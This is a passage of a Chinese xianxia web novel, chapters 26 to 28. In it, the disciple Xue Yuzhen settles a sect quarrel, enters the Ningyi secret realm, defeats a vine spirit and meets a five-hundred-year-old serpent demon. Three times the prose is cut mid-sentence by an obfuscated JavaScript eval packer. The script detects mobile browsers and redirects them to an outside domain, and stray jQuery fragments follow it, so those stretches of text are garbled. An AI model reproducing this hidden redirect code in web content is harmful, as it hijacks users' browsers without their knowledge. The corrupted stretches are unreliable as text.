知源宗的弟子听见他这话,都嘻嘻哈哈的笑了起来。 那弟子咬牙切齿道:“污蔑?!这世间哪有四年就成丹?!就连你们褚师兄都是经年修习之后才有如此水平,她一个以前从未接触过修行之人,难不成比你们知源宗天资卓越的褚师兄还要厉害?”说完最后一句,他也轻蔑地冷笑一声。 元弋晓被吵得头大,他此前也没想到自己能在这么多人心目中有怎么重要的地位。见两边又要吵起来了,他连忙伸手阻止,“够了!” 先是对薛予蓁说,“我自然是知道薛姑娘不是故意的,也并未感到冒犯,是崇涧宗的弟子失了礼数 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471922|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我才该是道歉的那人。” 又转身对自家弟子呵斥道:“师门教的东西都记到哪去了?!听风就是雨,什么都不清楚就在这胡乱说话,还不向薛姑娘道歉!” 元弋晓身份摆在那,不光是他们的师兄,还是崇涧宗的少宗主,他这一发话,余下弟子也不敢再闹,心中再多不满,也还是朝薛予蓁道了歉。 这场闹剧这才终了。 薛予蓁松了气,要是早知道事情会发展成这样,她一定将自己的手死死按住,什么故人什么相像,简直闹得人头大。她回到营地边上,施淼淼他们齐刷刷地就围了上来。他们当然也是想去给薛予蓁撑场子,却被褚霁远拦了一下,只能待在后方看这场闹剧。许乐禾最为激动,方才崇涧宗弟子明嘲暗讽时,他真恨不得上去骂一顿。 施淼淼牵着薛予蓁的手,颇为担忧,“以前也不是没见过这两人,怎么今日变得如此难缠。手这么凉,刚才也是吓到了吧?” 薛予蓁摇摇头,安抚她,“没有被吓到。手凉,是之前去净了手。”她转向褚霁远,满脸歉意,“师兄…是我不好,给师门添麻烦了。” 听她声音委屈巴巴的,褚霁远也心疼,他捏了捏薛予蓁的脸,这会儿是真真温柔下来了,“怪不得你身上去,不必在意。”他声音一顿,“只是,之前到底发生什么了?能告诉师兄吗?” 也不是什么非要隐瞒的事情,当时很多人都看见了。薛予蓁垂下眼眸,语气低落,“我正带着谢云涧去找你,路上撞见了那两位。” 她原本还在看谢云涧,犹豫着要不要提醒他去换件衣服——之前一路没发觉,这人衣服上不少地方都遭了殃,被不知什么玩意划了许多口子。刚要说话,余光却瞟见了一个熟悉的身影,元弋晓那时侧着脸在和柳倾云说话,听不见说得什么,但看样子也会觉得他是一个温和有礼的人。薛予蓁当即就愣住了,因为那一瞬间他实在是太像自己的兄长了。后面的记忆有一瞬间的空白,待她自己反应过来的时候,已经上前去揪住了人家的衣袖。 元弋晓敏锐得很,几乎是同时转过脸来,皱着眉说:“谁?!” “哥——”薛予蓁只堪堪吐出一个音节就卡住了。看正脸,元弋晓和她兄长实在没什么相似的地方。但那一瞬间的错觉叫她心神激荡,竟然没能第一时间回过神放开他,这才让旁边的柳倾云觉得不对劲。 说着,薛予蓁眼眶微红,她不自在地吸了吸鼻子,“我只是,太想他们了……”回过神来后,心中的悲痛更大了,想到自己根本没见过这个岁数的哥哥,更是心中难受,便匆匆离开,跑到河边偷偷掉眼泪了。调整了许久才敢回来。 “哎哟,”其他师兄师姐听她这样说完,心疼着还没来得开口说话,倒是有一个熟悉的声音闯了进来。薛予蓁闻声看去,肖黎那厮不知道什么时候在那边听着,此时几步走到薛予蓁面前,语气低沉,“那个不长眼的家伙惹得小美人都要哭了,告诉哥哥,哥哥替你去教训教训?”话说到一半就变得轻佻起来。薛予蓁有些不乐意地皱了皱眉,他却不以为意地抬手抹了抹她的眼角,指尖触到一点湿润,他突然低下头,看着薛予蓁的眼睛,小声道:“真哭了……” 肖黎这无缘无故地举动让薛予蓁有些无措,但她还记得褚霁远说过这人品行有问题,立马嫌弃地要往后退。 见她要跑,肖黎竟然还伸手来抓她。 这时,从旁边探来一只手将他挥开,褚霁远带着怒气挡在薛予蓁面前,“肖黎,当着我的面,你要对我师妹做什么?” 他抓人的时候用了几分灵力,肖黎一时没有防备,往后踉跄了两下才站住。他像是才回过神,看着褚霁远边上薛予蓁露出的小半张脸,懒散地拱了拱手,“这不是看见美人落泪,有些情不自禁嘛。唉,薛小妹妹,实在失礼。” 他一贯是这样不正经的模样,褚霁远看得烦,“没什么事你可以走了。” 肖黎哦了一声,笑了下,“方才听说你们同崇涧宗闹僵了,怕不是一会儿弟弟妹妹们进了秘境要被针对。他们这次可是来了五十五人呢。”他挑挑眉,“看在我们风雨门和知源宗是兄弟宗门的份上,让小辈们进去之后相互照应一下?” 褚霁远拒绝地十分决绝,“不必了,快滚。” 被这样拒绝了肖黎也不恼,口中应着是是是,要走不走地又多看了薛予蓁几眼。褚霁远察觉到他的目光,拿着剑横挡在他胸前,一字一顿地警告,“不要打我师妹的主意。” 肖黎漫不经心的神色突然淡了一些,他轻飘飘地瞟了一眼褚霁远,又恢复成原来的样子,笑嘻嘻地告饶离开了。 薛予蓁之前被他摸了一下,现在都还在板着脸揉自己的眼角,一会儿功夫已经红透了。褚霁远原本心中还有气,看着她这幅模样又觉得可爱,有点像松果,嘴角也往上抬了抬,伸手在她眼角抚了一下,“好了好了,再弄就要破皮了。” 褚霁远的手一向都是温热了,落在被揉烫了的眼角却变得凉丝丝的。薛予蓁听话地放下手,“师兄,他方才说的……” “不必在意,元弋晓不是小气的人,应当会再同门下弟子交代。至于肖黎,”他皱着眉,“风雨门本身弟子就少,此次宁沂秘境来人不超过二十。他是想替自己人行些方便,不必理会。” 说完,他又转向众弟子,嘱咐道:“宁沂秘境马上就开。不要惹事生非,也不要轻信旁人。” “是,师兄!” 时间将近,各个门派都在做进秘境前的讲话。 褚霁远给众弟子说完,又拉着几人说小话,“以自身为重,一切小心。东西寻得见就寻,寻不见也不要紧。” “是,师兄。” 26. 第二十六章 秘境 秘境的入口看着像一面花纹繁复的镜子,薛予蓁小心翼翼地伸手试探了一下,发现自己手的确是伸进去了,才敢迈步。 镜子应当是一个传送阵的遮盖。甫一进入镜子内,薛予蓁便感觉周围有一阵拉扯的感觉,闭眼缓解后再睁眼便到了一个陌生的地方。 宁沂上仙实在是修为高深,心思繁复。薛予蓁看着眼前的密林,脑中不是蛇鼠就是毒虫,半天没迈开一步,光顾着警惕脚下了。还是腰间的伐邪动了动后,她才回过神去看手中的玉牌。原本无字的玉牌此刻却兀地被刻上了三行字。 第一行写着:禁止杀人。 第二行写着:请寻一株明霞草。 第三行写着:请勿逗留,尽早出去。 对着这三行字,薛予蓁颇为无语,看来这宁沂上仙也不是什么正经人。有效的信息就只有一个:找一株明霞草。 但秘境到底有多大,薛予蓁不知道,也没有地图,眼前只有幽深看不见边缘的一片密林。看来只得从明霞草身上手。明霞草喜光喜热,自然不会生长在这阴森森的树林里。 薛予蓁略一思索,心中有了安排,先走出这片林子。她将伐邪拔出鞘拿在手中,另一只手夹着一张符咒,慢慢地往前摸索着。 只有一人的时候,心中紧张,对时间也没有什么概念了。薛予蓁始终警惕着前进,额头都冒出些汗珠来,取出玉牌一看,竟然都走了一刻钟了!可周遭的模样半分没有改变,还是一棵树接着一棵树,一丛草挨着一丛草,仔细看看,每棵树都长得大差不差。薛予蓁心中一凉,如果是这样说的话,她到底是往前进了,还是一直在原地徘徊。 感受到她心中的不安,伐邪也开始躁动起来了。鉴于有先前在平阳城被伐邪控制的经历,薛予蓁决定先把它安抚一下,免得把自己的灵力全部耗尽。薛予蓁从前并没有对着一个死物说话的习惯,就算是小时候也已经过了很久了。但师父和师兄都说伐邪已经生出剑灵了,那便不能算得上是死物了。薛予蓁颇为生疏地摸了摸剑身,低声道:“好伐邪,我没事,不要紧张,这里暂时没有什么会伤害我——” 话说到最后,薛予蓁声音越来越小,倒不是被什么东西吓到了,而是想着师父之前说伐邪多年来被掩埋,剑灵或许有些磨损,但本性是不会变的——便是同它的名字一般,诛伐邪物。薛予蓁眼中含了些笑意,往伐邪中注了一道灵力,吩咐道:“伐邪,去,去找邪祟。” 宁沂秘境既是用来给宗门弟子历练的,里面必定少不了妖灵邪祟。而伐邪最擅长的就是寻找邪祟。 薛予蓁是伐邪的主人,伐邪得到了主人的灵力,一时间高兴地在原地转起了圈。薛予蓁有了寻路的希望,也开心不少。 但,伐邪就这样在原地转了半刻钟。 伐邪算得上是大前辈,薛予蓁一开始不敢催,但时间久了,她也有些着急,“喜欢灵力,我到时候还可以给你,先去找一下啊。” 伐邪闻言顿了一下,然后又开始在原地打转。 薛予蓁一愣,“你的意思是周围全都有邪祟?” 伐邪上下动了动。 薛予蓁:“那,找一个最近的呢?” 伐邪又停在了原地。 薛予蓁先是不解,而后惊出了一身冷汗,“最近的就在这里?” 伐邪又上下晃了晃。 这可真是一件让人高兴不起来的事情。薛予蓁不敢再让伐邪乱晃,招了招手便将它握在手中,这下才心安了些。 可这种情况的确奇怪,四面八方都是邪祟,甚至自己都身处其间。薛予蓁想了半天解决办法,去还是脑中空白一片,她泄气地拍了拍自己的头,“若是听师兄的话,多看看书,也不至于像现在这样,才进阵就卡住了。” 阵?进入秘境时走的是传送阵,按褚霁远的说法,参与历练的弟子会被随机放到秘境中一个地方,而且这么多年来从来没有两人被放到同一个地方。就算计算得再好,总是会有概率被放到相同的位置。可是如果这个“不一样”并非是指地方,而是每个人的所见呢? 薛予蓁喃喃道:“阵,这不是宁沂秘境。这里只是一个阵法。” 随着她的话出口,周围的景象缓缓消失,光亮随即照了进来。阵法中的密林实在是有些昏暗,乍一见光,薛予蓁不适地闭了闭眼睛。 睁眼时,已不再身处那片密林。面前是一道枯藤缠绕的大门,右边自上而下写着“恭喜”。薛予蓁被着两个字狠狠地哽了一下,这宁沂上仙还真是…不正经。 找到了入口,也总算是能踏出第一步了。为了防备突发的什么情况,薛予蓁还是将伐邪拿在手中,思及之前要不是因为伐邪,她也不能那么快就发现阵法奥秘。薛予蓁又往灵剑中注入一小道灵力,“多亏有你。” 薛予蓁脚步轻快地走近宁沂秘境,穿过那扇大门的时候,似有所感地回头看了看,竟又是一道传送阵。但这次的阵倒没做什么怪,顺利将她送入了秘境当中。 看着眼前的景貌,薛予蓁眼前一亮,在心中不禁猜测起宁沂上仙究竟是什么样的一个人。无他,这秘境实在是看起来和外界别无二致。薛予蓁这还是第一次进入秘境之地,虽说书读得不算多,但出于对奇闻异事的好奇,她也翻阅过不少前辈的自传,里面不乏有对秘境的描写。可那些秘境通常都是“石壁林立,天地同色”。没有一个像是宁沂秘境一样,就连天空都叫宁沂上仙搬了进来。 秘境的样貌说是惊艳,更是叫人无端地放下了戒备心。眼前是一个岔路口,由此看去,一边是较为宽阔的荒野林间,另一边是幽深的谷地。薛予蓁站在路口略一犹豫,还算选择了去往林间。毕竟比起幽暗的山谷,明霞草应当更愿意生长在明媚一点的林地里。 玉牌上的时间在流逝,薛予蓁虽说没在先前的阵法里耽搁多久,却也不敢肆意地耗着时间。他们进来除了完成秘境的历练,还要伺机寻找碧绛草。但谁知路口处的天气还是个万里无云的好天气,越往里走却越差。待她顺着小路走到林子边上时,雨突然就开始下了起来。四周尽是草地,并无可以躲雨的地方,薛予蓁只得匆匆捏了一个避雨诀,这才避免自己被淋成落汤鸡。想着秘境之中,就算是下雨也是设定好的,应当不会落雷,薛予蓁刚想要寻一棵树叶茂密的树躲一会儿。谁知她刚物色好一棵 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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薛予蓁同他们还给隔着一条约莫一丈宽的河,她原本想在树上待到那两人远去,但伐邪实在是太活泼了,不住地在她周围晃晃悠悠地转着,发出阵阵嗡鸣声。它这般,薛予蓁想藏着也藏不足,几下跳下树后便朝那两人跑出。到了河边,或许是因为大雨的缘故,河水波澜起伏得格外大。薛予蓁便没太在意,踩着飞剑就要过河。 谁知刚刚御剑至河流中央时,便有一道裹着烂泥的藤蔓自下破开水面朝着薛予蓁急速袭去。好在因这破烂天气,薛予蓁留了点心眼在河面上。她脚尖在伐邪剑上轻巧一点,侧身闪过那道藤蔓,又凌空一跃,踏着虚空稳稳落到了河对面。甫一落地便立马召回伐邪,旋身挥出一道剑气直朝着还在半空的藤蔓而去。藤蔓察觉到危险,正往下回缩着,却被锐利的剑气当空斩断。 啪嗒。 河水又猛烈地翻腾了一下,藤蔓加快速度缩进了水底。薛予蓁折返到河边,用伐邪挑起那截断掉的藤蔓。藤蔓断口切面渗出了点点气味难闻的墨绿色汁液,薛予蓁皱着眉将其抛回河里,“草木成精。”宁沂秘境内灵气旺盛,又是十年一开,寻常没有人来和这里面的东西抢夺灵气,倒是比外面的要更容易生出灵智来。 铮铮! “谁?!” 27. 第二十七章 巨蟒 薛予蓁早在丢藤蔓时就听见了身后有一道沉闷的脚步声,原以为是先前那两人,但思及只有一道脚步声,便又格外警惕起来了。利刃破空声袭来,薛予蓁御剑格挡,自己也急忙转身看去。 一看,倒是叫她惊得睁大了双眼。若是先前那两人还好,自己的修为在这一批历练的弟子中也算得上是上乘。而且不得不说的事,先前那两人好歹是活人,有血有肉的活人!现在自己面前这玩意是个什么东西?!! 察觉到主人内心的不镇静,伐邪又是连着两招将其打得往后退了两步后才回到薛予蓁的手中。薛予蓁这会简直要说不出话来了,面前这玩意完全就是一个石人,眼睛嘴巴处是三个黑乎乎的窟窿,整个身体都是由大大小小的碎石拼凑出来的。因为下雨,还在淌着泥汤。 看着眼前怪物的模样,薛予蓁嘴角微小地抽动了一下,内心极其崩溃,“不是说有生命的东西才能修炼成精吗?难不成石头也有?” 伐邪不满地在她手中扭了扭。 薛予蓁急忙安抚,“你不算,你不算。”灵剑灵剑,自然是有灵才会被如此称呼,煅剑炼器时造物主注入了情感,又或者是使用了什么带有生命的东西进行锻造。这样,才会有剑灵器灵一说。 但眼前的石头怪看起来自然是哪一项都不符合。薛予蓁这时还有心情想着,难不成促成这石头怪核心的是宁沂上仙以前最喜欢的一块石头,天天被上仙揣在怀里摸着拿着,才在机缘巧合之下生出灵智来。 完全不可能吧! 薛予蓁一边和展开攻击的石头怪交锋,一边想着除了自家师门那位喜石头如狂的师弟,还从未听说过有什么人有这样的癖好。 石头人的攻击不算猛烈,修为也不高。但实在是有些难缠,每每薛予蓁将它什么部位削下去后,不过两秒就自己拼起来了。而且看着也并不挑剔,若是部位被薛予蓁挑飞挑远了,它便就地取材,搞的两人打斗的一方土地坑坑洼洼的。 “这到底是个什么东西啊!”薛予蓁不知道自己和石头人缠斗多久了,雨势都小了不少。 又一次看着被自己拆得七零八落的石头人要慢慢将自己拼起来的时候,薛予蓁脑海中突然回想起了褚霁远先前教导她时说过的话“观其根本”。 “观其根本……”薛予蓁抬手摸了一把脸上的雨水——避水诀在不久前被石头人的攻势下破了,现在的薛予蓁真可谓是狼狈不堪,不仅整个人湿漉漉的,身上不少地方还有石头人,哦不,现在更应该说它一个你泥巴人了,还有不少泥巴人打她时飞溅出来的泥水。 薛予蓁甩甩头,盯着面前层层将自己堆叠起来的泥巴人,念叨着,“根本……” “啊!” 亏的雨势变小,薛予蓁看见了在泥块之间穿梭着的细小的墨绿色藤蔓,笑了一声,“搞了半天,竟然还是一个藤蔓精。” 她掏出一张驭火符,灌入灵力后向着泥人打去,“去!” 触及到泥人的瞬间,符纸一瞬燃烧起来,将泥人裹在层层火焰之中,细小的尖啸声从其中传了出来。顿时河面水面高涨,一人粗的藤蔓卷着水柱直冲薛予蓁而来。 薛予蓁有了经验并不畏敌,足尖轻点向后掠去,在观见藤蔓攻击落空后的瞬间提剑急速斩去。藤蔓虽粗大但并不坚硬,薛予蓁轻而易举地就划开表皮,刺了进去。趁着藤蔓精因疼痛而僵硬不动的档口,薛予蓁伸手擒住藤蔓的尾端,调动力气拉扯起来,她原本以为会比较困难,但谁知只使了五六分力便将这东西自河中扯了出来。 啪嗒一声,藤蔓精的核心摔在了岸上,小小的一团,不断收缩扭动着。薛予蓁这才有空看了看手上的残枝——这哪是什么粗枝,分明就是数百上千根小细芽拧在一起的。见那团藤蔓还不断挣扎着想要往河中逃,薛予蓁默念灵火诀,一把火将它笼罩起来。不消片刻,便只剩手掌那么大一滩黑灰。 薛予蓁走进,拿着伐邪拨拉了两下,“咦?” 本来以为只有黑灰了,谁知其中还埋了一颗墨绿色的圆珠,只有拇指那般大小,若不是与剑尖相撞碰出了一点声音,薛予蓁根本就注意不到。她拿着珠子在手中看了看,没看出其中有什么奥妙,只觉得成色挺好,便随便揣进了怀中。 原先是想去找那两位山雨门的弟子,但谁知在这耽搁了。再看他们那边,薛予蓁和藤蔓精开始打的时候,那边一团还在树林边缘缠斗,等到薛予蓁打完,他们已经从外面打到里面了。看不见战况如何,只能不时地瞧见打偏飞到天上的几道剑气和灵力。 薛予蓁捏着湿哒哒的衣摆将伐邪擦拭干净,将其收回剑鞘,思索了片刻还是打算进去看看。毕竟肖黎虽然不怎么样,但其他人未必就怎么样了。想到这里,往前迈进的脚又收了回来。但话又说回来了,进秘境前师父和师兄都说叫她不要随意同旁人搭话——什么东西!? 想是这样想着,现实情况却叫薛予蓁一个选择的余地都没有了——这下可不是什么小枝芽拧成一股的东西了,而是一条通体碧绿,足足五人粗的大蟒游蹿出来了。 伴随着它出来的还有两个被一尾巴扫飞的山雨门弟子。薛予蓁眼疾手快地揪着这两人的衣领,将其拦下。三人齐齐往后摔作一团,就差那么一点就掉进河里了。 两人显然也是突然遭遇了这条大蟒的袭击,脸上都带着些惊惧不安。但好歹是大宗门的弟子,落地后便迅速起身摆出防备的姿势。 两人和先前那只石岩熊打斗时也受到了点刮蹭,眼下看着也不是很仙气飘飘。薛予蓁便也不在意自己一身湿乎乎的,拔出伐邪站到他们身旁。 “二位,这是什么情况?” 气呼呼的那个道:“这谁知道啊?!方才明明马上就能拿下那只笨熊,谁知突然窜出一个这玩意。嘶,”他面目略微狰狞地揉了揉自己的腹部,“打得疼死了,必定要将这畜生打死,煮成蛇羹吃了。” 云淡风轻那个现在也很平静,只气息乱了些,“多谢姑娘相救。此为翠微腾蛇,在五洲内都不常见它的族群,想必应当是宁沂上仙当初一窝端给丢进秘境了。” 薛予蓁:“翠微腾蛇?听着怪耳熟的呢。” 他笑了一声,“翠微腾蛇算是上古神兽流传下来的一个,嗯,很偏的脉系。但即便是这样,它的蛇丹,蛇皮,甚至血肉,都有着很大的效用。姑娘可曾听过瑶安鲛缕?虽然听着名字和翠微腾蛇没什么关系,但瑶安上仙却是用它的皮和鲛纱共同制成的,水火不侵,刀枪不入。” 听青年这么一说,薛予蓁倒是有了点印象,因为她记得施淼淼就有这么一件衣服是用瑶安鲛缕制成的,不过师姐不太喜欢,说是觉得穿上以后总觉得心里毛毛的。 青年又道,“后来也有不少人仿着瑶安上仙的方子来制。不过因为翠微腾蛇数量实在稀少,又是先天灵兽,等阶太高,原料的成本太高,导致瑶安鲛缕的价格也——” 另一青年不耐烦地打断他的话,“尘木,你怎么这么多废话!”他还小心眼地记着这蛇给他的那一尾巴,“有什么好说的,直接打就完事了。”说着便将佩剑上附上一层青蓝色灵气,蓄势待发。 薛予蓁瞧着他这幅样子,又想到之前尘木说翠微腾蛇水火不侵,刀枪不入,莫名往旁边移了一小步,也难为尘木了,同这样一个莽夫走了一路。 果不其然,尘木 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471924|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘲讽地笑了一下,“怪不得少门主从来不要你近身,榕溪,你真是猪脑子。” 榕溪本就是一点就燃的性子,现在没等到他帮忙去收拾这条破蛇,倒是听见他骂自己,瞬间就一剑杵到了尘木的鼻子下面,“狗东西,你说什么呢!?若不是你之前说要去打那只蠢熊,我们至于遇上这玩意?” 原来不是好友啊?薛予蓁懒得去掺和这两人之间的恩怨,转而去看盘在他们面前的大蛇。蛇瞳明黄如同资质上乘的宝石,细而尖长,正一瞬不瞬地盯着他们,嘶嘶地吐着蛇信子。说起来也奇怪,本该直接攻击他们的大蛇,却像是在忌惮什么一样,只是在他们面前烦躁地左右游移着。 薛予蓁没专门去看过五洲的灵兽册,对于它的了解可谓是空白一片。既然水火不侵,刀枪不入,那便只能使阵法了,她在脑中梳理了几个她精通的阵法,几乎是瞬间就放弃了这个想法。正经的阵法没学多少个,倒是什么满天雾花阵,冰雪琉璃阵这些杂七杂八的烂阵学了不少。 “铛铛”两声唤回薛予蓁的思绪,她满脸不可思议地看向旁边两个打得不可开交的两人。之前看着不还是好好的,关系挺不错的吗?为什么突然就打起来了?! “眼……眼…眼睛…”一道模糊的声音突然出现在薛予蓁脑子里。她瞬间就没心思关注那两个打起来,甚至越打越远的人了。抬手抵在太阳穴边,厉声道:“谁?!” 但那道声音只是昙花一现,等了许久薛予蓁也没能等到第二句什么话。她垂眸看了看手中伐邪,“眼睛?什么眼睛?谁的眼睛?” 等等——!薛予蓁猛地抬头对上眼前大蛇的蛇瞳,此刻里面已经没有先前的杀意了。现在大蛇还盯着她,似乎就只是对她好奇一样。 薛予蓁一头雾水,在看自己身边,那两人已经打得看不见人影了。 翠微腾蛇天生灵兽,一出生就有灵智,面前这一条看着也有不少年岁了,论起修为来,更是可以和修士中的元婴中期对上。薛予蓁明白自己完全不是它的对手,但见它眼中没有杀意,打算赌一把。她小小地往它面前走了几步,“你,可是有什么事要我帮忙?” 翠微腾蛇的大脑袋歪了歪,尾巴缓缓伸到薛予蓁面前,尾尖更是慢慢地朝着她的胸口去了。薛予蓁右手僵硬地放在伐邪上面,若是这蛇有什么突然攻击,她只能试一试师父所说的,伐邪同元婴修士相比的力量。 但蛇尾只是轻轻地在薛予蓁的胸口处点了点。 薛予蓁的身躯陡然放松,她疑惑地看着大蛇,“这是什么意思,你要什么东西吗?”她嘀咕着说自己没在怀里揣什么东西,却摸索出一颗绿色的珠子,比眼前蛇的颜色要深上许多。薛予蓁根本不记得这玩意了,虽然不久之前才拿到它。 薛予蓁在翠微腾蛇面前晃了晃这个珠子,“你是要这个东西吗?” 蛇尾在面前不轻不重地拍打着地面。薛予蓁犹豫了一下,还是将珠子丢给了它。大蛇身躯摆动了一下,昂首将小珠子咽进了肚子里。 薛予蓁在它的眼里看见了满足的色彩。 得到了自己想要的东西,翠微腾蛇伸着尾巴卷了卷薛予蓁的脚踝,力气轻巧地把她往前拽了拽。薛予蓁大概明白它是让自己跟着它走,虽然还没有完全信任面前这个灵兽,但她原本也没有一个前进的方向,之前那两个山雨门的弟子已经借着“内斗”的样子不知道逃到哪里去了。 许是见薛予蓁半晌没有动作,翠微腾蛇歪着脑子想了想,尾巴缓缓往上移动了几分,在薛予蓁诧异的表情下将她的腰卷了起来,随后也不管薛予蓁到底有没有决定跟着它走,自顾自地朝着自己的洞府飞快地游了过去。 28. 第二十八章 前辈 不愧是上古灵兽一脉传承的,薛予蓁本想掰开禁锢将自己解救下去,但翠微腾蛇的蛇皮不光是水火不侵刀枪不入,还格外的光滑,薛予蓁完全把不住它。但感受到这家伙的力度并没有太大,心中还是对它产生了几分的信任,也就任由它带着自己窜进了一条漆黑的山洞之中。 薛予蓁倚靠在蛇身上,道:“若是让师父师兄知道我这般信任一条蛇,恐怕又要叫我抄书了……” “嘶嘶…”一直没怎么出声的翠微腾蛇这时突然叫了两声,仿佛是在回应薛予蓁的话。 薛予蓁:“你在回应我?” “嘶嘶…”翠微腾蛇又叫了一声。 早知道这条大蛇生了灵智,却没想到它居然还已经通了人智。薛予蓁一时间惊讶得都不知道该说什么了,只将自己靠在蛇身上的那部分身体缓缓抬了起来。既然通人智了,就不能那么随便了。而且这也说明了这蛇的修为并非薛予蓁之前猜的元婴,更可能是化神期。 薛予蓁:哈哈,这下可是真的打不过了。 翠微腾蛇完全不知道自己身上这个女孩心里想了些什么,只一门心思地朝着洞里前行着。 薛予蓁出了会神之后,开始观察起周围的环境,只不过山洞里黑乎乎的,即便是看得见,也只能看见千篇一律的石壁。薛予蓁看了一会儿就老实了,不过她能感受到自己被大蛇带着的时候,有几次有下落的感觉。腾蛇应当是在将她往地下带。是要带她去它的洞穴吗?蛇窝?想到这里,薛予蓁不禁打了个寒战,面对一条蛇还能镇静得下来,要是看见一窝蛇,那可就是眼前一黑了。 猜想腾蛇可能不止元婴期后,薛予蓁就不敢随意开口了,她手指毫无意识地在蛇身上划拉着,思考着这么说话显得她既不冒犯也不示弱。 “别摸我了。”一道冷冽的声音在黑暗中突然响起。 薛予蓁浑身一僵,别说摸了,要不是腾蛇皮糙肉厚,她指甲已经扣到它的肉里了。 薛予蓁眼神有一瞬间的空洞:“你都会说话了……” 腾蛇声音里透着些莫名其妙,“我已经活了五百多年了。” 薛予蓁战战兢兢:“前辈,实在是晚辈冒犯了。” 黑暗中,薛予蓁感觉腾蛇前辈似乎是回头看了自己一眼,而后说道:“确实,这么多年来,你是第一个。” 薛予蓁强撑微笑:哈哈,命不久矣。 “吾名泠宿。” “哦哦,泠宿前辈。” 泠宿先前没口出人言就是怕她如此反应,原本是打算到了地方之后再说话,谁知这小丫头半道上一直在他身上摸来摸去。虽说原形皮厚,但也不是全无感觉的,泠宿忍了一会儿后实在是没忍住开了口。 “不必如此拘谨,我不吃人。” “啊?啊,我没有这个意思。”薛予蓁被看透了想法,脸上腾的一声红了。 她想着,宁沂上仙真是看得起他们这些金丹元婴的人,连这样的,试炼,都能放在秘境里。 “前辈,您不然将我放下来,我自己走吧。” 泠宿道:“你走得太慢,而且马上就到了。” 像是为了应承这句话,薛予蓁抬眼看起,确实看见不远处亮起的小光点。 “敢问前辈,要带我去什么地方?” 泠宿愣了一下,“先请你去我的洞府坐一坐。” 薛予蓁没敢问自己这坐完之后还能不能完整地走出去,只能胡乱嗯嗯了两声,含糊过去了。 翠微腾蛇的速度实在是快,在他们说话间,就已经到了出口处。 薛予蓁本以为自己会看见一个藤蔓丛生,四周封闭的蛇窝,却没想到泠宿带她到了一个湖边。湖样子状似一个水滴,不是很大,边上种着一圈柳树,湖面是层层叠叠的荷花,一道木栈连接着湖心的小木屋和岸边。看着倒是一派闲情雅致。 薛予蓁被泠宿带到岸边后就放下了,她调整下了表情想给他道谢,转头却看见那条大蛇已经变成了一位身着青色衣袍的男子,身姿挺拔,一头墨色的长发用一个碧绿的玉簪挽在脑后,眼尾缀着几道妖纹。虽然还是和本体一样的明黄蛇瞳,但其中神色却很平静。 妖…在五洲很少见妖族。数百年前即便是五洲和魔域起了冲突,妖族都没有掺和过。无数修士和几位如今的上仙最后封印了五洲同魔域的通道后,连带着连妖族和五洲的通道的都封锁了不少。五洲虽然也有不少生了灵智的动物植物,但那些只能称之为精怪。生而有灵,而后修行化形者,才能称之为妖。所以现如今五洲的人基本上没有见过妖族。 泠宿看着眼前的小姑娘直勾勾地盯着自己,道:“我这样很奇怪?” 薛予蓁摇头,“不是不是,只是头一次见到……” 泠宿道:“头一次?” 薛予蓁点头,“据记载,五洲已经很多年都没有见过妖族了。”最后几个词她放得很轻。 泠宿愣了一下,随后以一种果不其然的语气道:“不意外,如今五洲的灵气已经不如以前了,灵气不足,便不可能有生而开灵的情况出现。” “前辈何出此言?”薛予蓁不解道。 泠宿这下是真的惊讶了,“你们不知道?五百年前五洲同魔域的通道封锁了,却因为一些原因上重天和五洲的通道堵塞。五洲本就自生灵气稀少,更多的是从上重天与五洲相连的灵脉所供给,封印沉渊峰时灵脉被摧毁,通道也被堵住。若是没有意外的话,五洲的灵气正在衰减。” 衰减?!薛予蓁没想到自己不过是来参与一个秘境试炼都能撞到这种事情。见她神情震惊,泠宿继续道:“若我没有猜错的话,这五百年来,五洲应当没有修士飞升吧。” 他这话倒是没有说错。五洲以沉渊峰被封印时更改年号,改为启光。而飞升的人,除了封印当日,包含宁沂上仙在内的二十五位大功臣当即飞升,此后五百年,五洲再无一人飞升,均是到了大乘期大圆满后,要么停滞,要么渡劫失败直接陨落。 泠宿点头,渡劫时本该是凝聚灵气以对抗天道雷劫,但五洲灵气不足,根本无法凝聚,怎么可能会成功飞升?泠宿看着薛予蓁,心中奇怪,薛予蓁身上却灵气充裕,甚至他能感受到秘境中的灵气都在往她身上凝聚。莫非是天上灵骨? 薛予蓁:“这……”她眼中难掩担忧,但心中却明白自己即便是知道也做不了什么。突然又想起泠宿并非翠微腾蛇成精,而是妖族,好奇问道:“前辈怎么会在宁沂秘境呢?妖域的通道不也已经关闭了吗?” “我并非启光元年后才到这里的。”泠宿摇摇头,“在这之前我便被宁沂关在这里了。” “啊?被关在秘境?”薛予蓁道。 